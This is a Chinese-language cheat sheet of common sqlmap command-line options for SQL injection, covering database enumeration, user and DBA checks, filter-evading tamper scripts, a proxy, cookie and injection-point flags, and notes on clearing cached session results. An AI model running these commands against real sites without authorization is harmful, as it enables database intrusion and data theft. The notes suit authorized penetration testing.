sqlmap常用参数

详细参数参考：

• https://www.tr0y.wang/2018/03/21/sqlmap-guide/

sqlmap常用参数：

--level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
--dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
--dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
-v3 --technique=T --no-cast --fresh-queries --banner
sqlmap -u http://www.********?id=1 --level 2 --risk 3 --batch --dbs


-f -b --current-user --current-db --is-dba --users --dbs

--risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs

--risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs

--random-agent --dbms=MYSQL --dbs --technique=B"

-r    # 从文件加载HTTP请求

指定cookie：

--cookie="JSESSIONID=xxx"

指定注入点：

-p "sort"

原文：
https://pastebin.com/dAM4eYxt

默认路径

Windows下：
C:\Users\Administrator\AppData\Local\sqlmap\output\qqc.com
如果之前注入出漏洞，下次再进行注入的时候会直接给出上次的结果，这时需要删除之前目录下的log和session.sqlite文件

或者指定--output参数，将结果输出到其他目录：

 python2 sqlmap.py -r C:\Users\Administrator\Desktop\111.txt --level=5 --risk=3 --random-agent --dbms="MySQL" --output=D:\repos\sqlmap\data

参考：

• https://blog.youkuaiyun.com/u012063507/article/details/69945193